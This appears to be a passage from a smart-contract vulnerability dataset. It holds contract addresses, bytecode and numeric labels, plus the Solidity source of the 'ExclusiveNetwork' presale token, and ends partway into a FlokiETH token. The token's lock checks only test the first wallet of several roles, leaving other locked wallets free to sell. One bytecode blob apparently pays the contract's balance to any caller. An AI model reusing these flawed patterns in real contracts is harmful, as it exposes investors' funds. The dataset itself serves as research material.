0x608060405260043610601f5760003560e01c8063ca9e199314602a576025565b36602557005b600080fd5b348015603557600080fd5b50603c603e565b005b600047905060003373ffffffffffffffffffffffffffffffffffffffff168260405160679060e5565b60006040518083038185875af1925050503d806000811460a2576040519150601f19603f3d011682016040523d82523d6000602084013e60a7565b606091505b505090508060b457600080fd5b5050565b600081905092915050565b50565b600060d160008360b8565b915060da8260c3565b600082019050919050565b600060ee8260c6565b915081905091905056fea2646970667358221220a4b3b134cb947f8258c3fc7b8a5953e11163a23716a29227424bf398d942555364736f6c63430008090033
[ 11 ]
0xf2f7120be6a7cf1caffe582c7da89589c93943b2
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20 is Context, IERC20, IERC20Metadata, Ownable{ mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 internal _decimals; constructor (string memory name_, string memory symbol_, uint8 decimals_) { _name = name_; _symbol = symbol_; _decimals = decimals_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract ExclusiveNetwork is ERC20("Exclusive Network", "Exc", 18) { // Declaring fund receiver address private fund_receiver = payable(0x2B489D6470501a81C9dD309B7f731E337bA9C337); /* * **** above are the address for the fund receiver wallet for the presale. * ________________________________________________________________________________________________________________________________ */ uint256 public tokenRate = 500000*(10**18); // Declaring the roles and lock time for the wallets. struct RolesLocked { address[] address_; uint8 percentLocked; uint256 timeLocked; } mapping (string => RolesLocked) private roles; mapping (address => uint256) private presale_total_per_user; uint256 public per_person_cap = 5070000000000000000; // unlocked declaration struct RolesUnlocked { address address_; uint8 percent; } // /* * **** below are the address for the unlocked wallet. * __________________________________________________________________________________________________________________________________ */ RolesUnlocked public public_sale_unlocked = RolesUnlocked(0x7642B7ecBEc2a37f1ab9fdbf19Eb2Fede28E2301, 40); // public sale address will mint with 25 % of totalSupply RolesUnlocked public exchanges_and_liquidity_unlocked = RolesUnlocked(0x441db5A35c4241060703737C4786f6A87d55034F, 5); // exchanges_and_liquidity address will mint with 5 % of totalSupply RolesUnlocked public marketing_unlocked = RolesUnlocked(0xAD7fD36B13bdA52048616B9A02E59b60CB3f78B2, 10); // marking address will mint with 10 % of totalSupply RolesUnlocked public presale_unlocked = RolesUnlocked(0x7423C1831C50AeA3868780e7b4f8d5F090242a8F, 10); // presale address will mint with 20 % of totalSupply /* * **** above are the address for the unlocked wallet. * __________________________________________________________________________________________________________________________________ */ // fund collect for the presale. uint256 public presale_fund; // declaration of requirements for the presale. bool public isPresaleStarted = false; constructor(){ // filling the roles address and locked timeline. /* * **** below are the address for the locked wallets. * ____________________________________________________________________________________________________________________________________ */ address[] memory partnership = new address[](3); // address Array with a length of 1 So you can add only one address here. Please change the length in case to add any address. partnership[0] = 0x1827A11990001d5f9F6Ca21d5D752A84f4265835; // adding address to the first index of the partnership address array. partnership[1] = 0x03653cFB415ba73b9cB9D178cc339f5eC0fc6351; // In case of mulitple accounts. partnership[2] = 0x166E5d714be7a73351E28A2835CCb77D8Dc119CF; // In case of mulitple accounts. roles["partnership_locked_address"] = RolesLocked(partnership, 15, block.timestamp + 63072000); // blocktime + 2 years of time. with 15% /* * In team there are two members. so the team array have the lenght initialize to 2. * after that first address will go to the index 0 and second will go to the index 1 as shown below. * This process can be follow for the multiple addresses in each locked array. * Minting will distribute the token equally to all the address and lock them. *__________________________________________________________________________________________________++++++++++++++++++++++++++++++++ */ address[] memory team = new address[](2); team[0] = 0x2d6362839a58235698123f520237Dd3052A56AAb; team[1] = 0xE05F5F34B23E55eaac3D4f6DceBb402b1ec6760E; roles["team_locked_address"] = RolesLocked(team, 10, block.timestamp + 63072000 ); // blocktime + 2 year of time. with 10% address[] memory advisors = new address[](1); advisors[0] = 0x2a7D8a9298b753B9E74575dB8C5f9bCFfbA1e7Bb; roles["advisors_locked_address"] = RolesLocked(advisors, 5, block.timestamp + 31536000); // blocktime + 1 year with 5 %. address[] memory reserve = new address[](1); reserve[0] = 0x04b1a69d7d943217a1C95efAdFA8d653c5E8FC3e; roles["Reserve_locked_address"] = RolesLocked(reserve, 5, block.timestamp + 31536000); // blocktime + 1 year with 5 %. /* * **** above are the address for the locked wallets. * _____________________________________________________________________________________________________________________________________ */ // minting the tokens to as per the tokenomics. uint256 supply = 2 * (10**9) * (10**18); for(uint i=0; i < roles['partnership_locked_address'].address_.length; i++){ _mint(roles['partnership_locked_address'].address_[i], (roles['partnership_locked_address'].percentLocked*supply)/(100*roles['partnership_locked_address'].address_.length)); // Minting to the partnership_locked_address. } for(uint i=0; i < roles['team_locked_address'].address_.length; i++){ _mint(roles['team_locked_address'].address_[i], (roles['team_locked_address'].percentLocked*supply)/(100*roles['team_locked_address'].address_.length)); // Minting to the Team_locked_address. } for(uint i=0; i < roles['advisors_locked_address'].address_.length; i++){ _mint(roles['advisors_locked_address'].address_[i], (roles['advisors_locked_address'].percentLocked*supply)/(100*roles['advisors_locked_address'].address_.length)); // Minting to the advisors_locked_address. } for(uint i=0; i < roles["Reserve_locked_address"].address_.length; i++){ _mint(roles['Reserve_locked_address'].address_[0], (roles['Reserve_locked_address'].percentLocked*supply)/(100*roles['Reserve_locked_address'].address_.length)); // Minting to the Reserve_locked_address. } /* * ****** Minting process for the locked token address. *__________________________________________________________________________________________ */ // minting to the unlocked address. _mint(public_sale_unlocked.address_, (public_sale_unlocked.percent*supply)/100); // Minting to the public_sale_unlocked. _mint(exchanges_and_liquidity_unlocked.address_, (exchanges_and_liquidity_unlocked.percent*supply)/100); // Minting to the exchanges_and_liquidity_unlocked. _mint(marketing_unlocked.address_, (marketing_unlocked.percent*supply)/100); // Minting to the marketing_unlocked. // setting the fund for the presale. 25% will be locked for the presale. _mint(presale_unlocked.address_, (presale_unlocked.percent*supply)/100); // Minting to the presale_unlocked. presale_fund = (20*((presale_unlocked.percent*supply)/100)/100); _approve(presale_unlocked.address_, address(this), (presale_unlocked.percent*supply)/100); } function _transfer(address sender, address recipient, uint256 amount) override internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); /* * Checking for the locked address. It will reject the transaction if the locked address have not meet the deadline. * __________________________________________________________________________________________ */ for(uint i=0; i < roles['partnership_locked_address'].address_.length; i++){ if (sender==roles['partnership_locked_address'].address_[i]){ require(roles['partnership_locked_address'].timeLocked < block.timestamp, "ERC20: TimeClock not reached for partnership_locked_address."); } } for(uint i=0; i < roles['team_locked_address'].address_.length; i++){ if (sender==roles['team_locked_address'].address_[0]){ require(roles['team_locked_address'].timeLocked < block.timestamp, "ERC20: TimeClock not reached for team_locked_address."); } } for(uint i=0; i < roles['advisors_locked_address'].address_.length; i++){ if (sender==roles['advisors_locked_address'].address_[0]) { require(roles['advisors_locked_address'].timeLocked < block.timestamp, "ERC20: TimeClock not reached for advisors_locked_address."); } } for(uint i=0; i < roles['Reserve_locked_address'].address_.length; i++){ if (sender==roles['Reserve_locked_address'].address_[0]) { require(roles['Reserve_locked_address'].timeLocked < block.timestamp, "ERC20: TimeClock not reached for Reserve_locked_address."); } } _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function startPresale() public onlyOwner { isPresaleStarted = true; } function endPresale() public onlyOwner { isPresaleStarted = false; } function changePerPersonCap(uint256 _newCap) public onlyOwner { per_person_cap = _newCap; } function buyToken() public payable { require(msg.sender!=address(0), "ERC20: zero address cannot buy tokens"); require(msg.value> 0, "ERC20: value is Zero"); require(isPresaleStarted == true,"ERC20: Sale Not Started!"); require(msg.value <= per_person_cap - presale_total_per_user[msg.sender], "ERC20: Requested amount exceed the per user Limit."); uint256 transferAmount = (msg.value*tokenRate)/(10**18); require(presale_fund >= transferAmount, "ERC20: Presale fund remaining not meeting the requirements."); _transfer(presale_unlocked.address_, msg.sender, (20*transferAmount/100)); presale_fund -= (20*transferAmount/100); payable(fund_receiver).transfer(msg.value); presale_total_per_user[msg.sender] += msg.value; } function setTokenRate(uint256 _no_of_token_per_eth_withDecimals) public onlyOwner { // Note: Rate = number of tokens per eth * token decimals. tokenRate = _no_of_token_per_eth_withDecimals; } function Airdrop(address[] memory _airdropReceivers, uint256[] memory _amountWithDecimals) public { // Please check the allowance from the funded wallet before calling the function. // second argument is the array of the address of the airdrop receivers. for(uint i=0; i<_airdropReceivers.length; i++){ transfer(_airdropReceivers[i], _amountWithDecimals[i]); } } function get_partnership_locked_details() view public returns(RolesLocked memory){ return roles["partnership_locked_address"]; } function get_team_locked_details() view public returns(RolesLocked memory){ return roles["team_locked_address"]; } function get_advisor_locked_details() view public returns(RolesLocked memory){ return roles["advisors_locked_address"]; } function get_reserved_locked_details() view public returns(RolesLocked memory){ return roles["Reserve_locked_address"]; } }
0x6080604052600436106101e35760003560e01c806395d89b4111610102578063c558ae6b11610095578063dd62ed3e11610064578063dd62ed3e14610570578063e3201688146105b6578063f051061b146105e2578063f2fde38b146105f857600080fd5b8063c558ae6b14610506578063c5a4051d14610526578063cc7d15191461053b578063d80f29d41461055b57600080fd5b8063a457c2d7116100d1578063a457c2d714610492578063a4821719146104b2578063a9059cbb146104ba578063ada6afe7146104da57600080fd5b806395d89b4114610439578063979abd931461044e57806398d6d8ed14610463578063a43be57b1461047d57600080fd5b8063317118841161017a57806370a082311161014957806370a082311461039a578063715018a6146103d057806385f24d47146103e55780638da5cb5b1461041157600080fd5b806331711884146103225780633950935114610338578063523881971461035857806361241c281461037a57600080fd5b806318160ddd116101b657806318160ddd1461027e5780631abd48f21461029357806323b872dd146102e0578063313ce5671461030057600080fd5b806304c98b2b146101e857806306fdde03146101ff578063095ea7b31461022a5780631637c9341461025a575b600080fd5b3480156101f457600080fd5b506101fd610618565b005b34801561020b57600080fd5b5061021461065a565b6040516102219190611a57565b60405180910390f35b34801561023657600080fd5b5061024a610245366004611955565b6106ec565b6040519015158152602001610221565b34801561026657600080fd5b50610270600f5481565b604051908152602001610221565b34801561028a57600080fd5b50600354610270565b34801561029f57600080fd5b50600c546102bf906001600160a01b03811690600160a01b900460ff1682565b604080516001600160a01b03909316835260ff909116602083015201610221565b3480156102ec57600080fd5b5061024a6102fb36600461191a565b610702565b34801561030c57600080fd5b5060065460405160ff9091168152602001610221565b34801561032e57600080fd5b5061027060075481565b34801561034457600080fd5b5061024a610353366004611955565b6107b3565b34801561036457600080fd5b5061036d6107ea565b6040516102219190611adf565b34801561038657600080fd5b506101fd610395366004611a3f565b6108c4565b3480156103a657600080fd5b506102706103b53660046118c7565b6001600160a01b031660009081526001602052604090205490565b3480156103dc57600080fd5b506101fd6108f3565b3480156103f157600080fd5b50600e546102bf906001600160a01b03811690600160a01b900460ff1682565b34801561041d57600080fd5b506000546040516001600160a01b039091168152602001610221565b34801561044557600080fd5b50610214610967565b34801561045a57600080fd5b5061036d610976565b34801561046f57600080fd5b5060105461024a9060ff1681565b34801561048957600080fd5b506101fd6109c8565b34801561049e57600080fd5b5061024a6104ad366004611955565b6109fe565b6101fd610a99565b3480156104c657600080fd5b5061024a6104d5366004611955565b610d78565b3480156104e657600080fd5b50600d546102bf906001600160a01b03811690600160a01b900460ff1682565b34801561051257600080fd5b506101fd61052136600461197e565b610d85565b34801561053257600080fd5b5061036d610e01565b34801561054757600080fd5b506101fd610556366004611a3f565b610e4f565b34801561056757600080fd5b5061036d610e7e565b34801561057c57600080fd5b5061027061058b3660046118e8565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156105c257600080fd5b50600b546102bf906001600160a01b03811690600160a01b900460ff1682565b3480156105ee57600080fd5b50610270600a5481565b34801561060457600080fd5b506101fd6106133660046118c7565b610ed3565b6000546001600160a01b0316331461064b5760405162461bcd60e51b815260040161064290611aaa565b60405180910390fd5b6010805460ff19166001179055565b60606004805461066990611c14565b80601f016020809104026020016040519081016040528092919081815260200182805461069590611c14565b80156106e25780601f106106b7576101008083540402835291602001916106e2565b820191906000526020600020905b8154815290600101906020018083116106c557829003601f168201915b5050505050905090565b60006106f9338484610fbd565b50600192915050565b600061070f8484846110e1565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156107945760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610642565b6107a885336107a38685611bfd565b610fbd565b506001949350505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106f99185906107a3908690611ba6565b610811604051806060016040528060608152602001600060ff168152602001600081525090565b60405175526573657276655f6c6f636b65645f6164647265737360501b81526008906016015b9081526040805191829003602090810183208054608092810285018301909352606084018381529092849284919084018282801561089e57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610880575b5050509183525050600182015460ff166020820152600290910154604090910152919050565b6000546001600160a01b031633146108ee5760405162461bcd60e51b815260040161064290611aaa565b600755565b6000546001600160a01b0316331461091d5760405162461bcd60e51b815260040161064290611aaa565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606005805461066990611c14565b61099d604051806060016040528060608152602001600060ff168152602001600081525090565b6040517661647669736f72735f6c6f636b65645f6164647265737360481b8152600890601701610837565b6000546001600160a01b031633146109f25760405162461bcd60e51b815260040161064290611aaa565b6010805460ff19169055565b3360009081526002602090815260408083206001600160a01b038616845290915281205482811015610a805760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610642565b610a8f33856107a38685611bfd565b5060019392505050565b33610af45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207a65726f20616464726573732063616e6e6f742062757920746044820152646f6b656e7360d81b6064820152608401610642565b60003411610b3b5760405162461bcd60e51b815260206004820152601460248201527345524332303a2076616c7565206973205a65726f60601b6044820152606401610642565b60105460ff161515600114610b925760405162461bcd60e51b815260206004820152601860248201527f45524332303a2053616c65204e6f7420537461727465642100000000000000006044820152606401610642565b33600090815260096020526040902054600a54610baf9190611bfd565b341115610c195760405162461bcd60e51b815260206004820152603260248201527f45524332303a2052657175657374656420616d6f756e742065786365656420746044820152713432903832b9103ab9b2b9102634b6b4ba1760711b6064820152608401610642565b6000670de0b6b3a764000060075434610c329190611bde565b610c3c9190611bbe565b905080600f541015610cb65760405162461bcd60e51b815260206004820152603b60248201527f45524332303a2050726573616c652066756e642072656d61696e696e67206e6f60448201527f74206d656574696e672074686520726571756972656d656e74732e00000000006064820152608401610642565b600e54610ce3906001600160a01b0316336064610cd4856014611bde565b610cde9190611bbe565b6110e1565b6064610cf0826014611bde565b610cfa9190611bbe565b600f6000828254610d0b9190611bfd565b90915550506006546040516001600160a01b0361010090920491909116903480156108fc02916000818181858888f19350505050158015610d50573d6000803e3d6000fd5b503360009081526009602052604081208054349290610d70908490611ba6565b909155505050565b60006106f93384846110e1565b60005b8251811015610dfc57610de9838281518110610db457634e487b7160e01b600052603260045260246000fd5b6020026020010151838381518110610ddc57634e487b7160e01b600052603260045260246000fd5b6020026020010151610d78565b5080610df481611c4f565b915050610d88565b505050565b610e28604051806060016040528060608152602001600060ff168152602001600081525090565b604051727465616d5f6c6f636b65645f6164647265737360681b8152600890601301610837565b6000546001600160a01b03163314610e795760405162461bcd60e51b815260040161064290611aaa565b600a55565b610ea5604051806060016040528060608152602001600060ff168152602001600081525090565b60405179706172746e6572736869705f6c6f636b65645f6164647265737360301b8152600890601a01610837565b6000546001600160a01b03163314610efd5760405162461bcd60e51b815260040161064290611aaa565b6001600160a01b038116610f625760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610642565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661101f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610642565b6001600160a01b0382166110805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610642565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166111455760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610642565b6001600160a01b0382166111a75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610642565b60005b60405179706172746e6572736869705f6c6f636b65645f6164647265737360301b8152600890601a0190815260405190819003602001902054811015611314576040805179706172746e6572736869705f6c6f636b65645f6164647265737360301b81526008601a820152905190819003603a01902080548290811061124057634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03858116911614156113025742600860405161128f9079706172746e6572736869705f6c6f636b65645f6164647265737360301b8152601a0190565b908152602001604051809103902060020154106113025760405162461bcd60e51b815260206004820152603c6024820152600080516020611c9783398151915260448201527f20706172746e6572736869705f6c6f636b65645f616464726573732e000000006064820152608401610642565b8061130c81611c4f565b9150506111aa565b5060005b604051727465616d5f6c6f636b65645f6164647265737360681b8152600890601301908152604051908190036020019020548110156114645760408051727465616d5f6c6f636b65645f6164647265737360681b8152600860138201529051908190036033019020805460009061139f57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b0385811691161415611452574260086040516113e790727465616d5f6c6f636b65645f6164647265737360681b815260130190565b908152602001604051809103902060020154106114525760405162461bcd60e51b81526020600482015260356024820152600080516020611c97833981519152604482015274103a32b0b6afb637b1b5b2b22fb0b2323932b9b99760591b6064820152608401610642565b8061145c81611c4f565b915050611318565b5060005b6040517661647669736f72735f6c6f636b65645f6164647265737360481b8152600890601701908152604051908190036020019020548110156115c857604080517661647669736f72735f6c6f636b65645f6164647265737360481b815260086017820152905190819003603701902080546000906114f757634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03858116911614156115b657426008604051611543907661647669736f72735f6c6f636b65645f6164647265737360481b815260170190565b908152602001604051809103902060020154106115b65760405162461bcd60e51b81526020600482015260396024820152600080516020611c9783398151915260448201527f2061647669736f72735f6c6f636b65645f616464726573732e000000000000006064820152608401610642565b806115c081611c4f565b915050611468565b5060005b60405175526573657276655f6c6f636b65645f6164647265737360501b815260089060160190815260405190819003602001902054811015611729576040805175526573657276655f6c6f636b65645f6164647265737360501b8152600860168201529051908190036036019020805460009061165957634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b0385811691161415611717574260086040516116a49075526573657276655f6c6f636b65645f6164647265737360501b815260160190565b908152602001604051809103902060020154106117175760405162461bcd60e51b81526020600482015260386024820152600080516020611c9783398151915260448201527f20526573657276655f6c6f636b65645f616464726573732e00000000000000006064820152608401610642565b8061172181611c4f565b9150506115cc565b506001600160a01b038316600090815260016020526040902054818110156117a25760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610642565b6117ac8282611bfd565b6001600160a01b0380861660009081526001602052604080822093909355908516815290812080548492906117e2908490611ba6565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161182e91815260200190565b60405180910390a350505050565b80356001600160a01b038116811461185357600080fd5b919050565b600082601f830112611868578081fd5b8135602061187d61187883611b82565b611b51565b80838252828201915082860187848660051b890101111561189c578586fd5b855b858110156118ba5781358452928401929084019060010161189e565b5090979650505050505050565b6000602082840312156118d8578081fd5b6118e18261183c565b9392505050565b600080604083850312156118fa578081fd5b6119038361183c565b91506119116020840161183c565b90509250929050565b60008060006060848603121561192e578081fd5b6119378461183c565b92506119456020850161183c565b9150604084013590509250925092565b60008060408385031215611967578182fd5b6119708361183c565b946020939093013593505050565b60008060408385031215611990578182fd5b823567ffffffffffffffff808211156119a7578384fd5b818501915085601f8301126119ba578384fd5b813560206119ca61187883611b82565b8083825282820191508286018a848660051b89010111156119e9578889fd5b8896505b84871015611a12576119fe8161183c565b8352600196909601959183019183016119ed565b5096505086013592505080821115611a28578283fd5b50611a3585828601611858565b9150509250929050565b600060208284031215611a50578081fd5b5035919050565b6000602080835283518082850152825b81811015611a8357858101830151858201604001528201611a67565b81811115611a945783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252825160608383015280516080840181905260009291820190839060a08601905b80831015611b2d5783516001600160a01b03168252928401926001929092019190840190611b04565b5060ff84880151166040870152604087015160608701528094505050505092915050565b604051601f8201601f1916810167ffffffffffffffff81118282101715611b7a57611b7a611c80565b604052919050565b600067ffffffffffffffff821115611b9c57611b9c611c80565b5060051b60200190565b60008219821115611bb957611bb9611c6a565b500190565b600082611bd957634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611bf857611bf8611c6a565b500290565b600082821015611c0f57611c0f611c6a565b500390565b600181811c90821680611c2857607f821691505b60208210811415611c4957634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611c6357611c63611c6a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfe45524332303a2054696d65436c6f636b206e6f74207265616368656420666f72a26469706673582212207b28b02f040a655449e2594c03c552f18dd910c86a7c2a3044b8ceb3e2aefa8c64736f6c63430008040033
[ 4, 9 ]
0xf2f7373e98f37c5bfb9dedee2310ea851ad1bb84
/** Website- https://flokieth.com Twitter- @FlokiETH Telegram- @FlokiETH Fair Launch No Private / Public Sale Passive Income in ETH /* FlokiETH 1) 10% distribution in Ethereum (wETH) 2) 5% swapped and added to the liquidity pool */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * 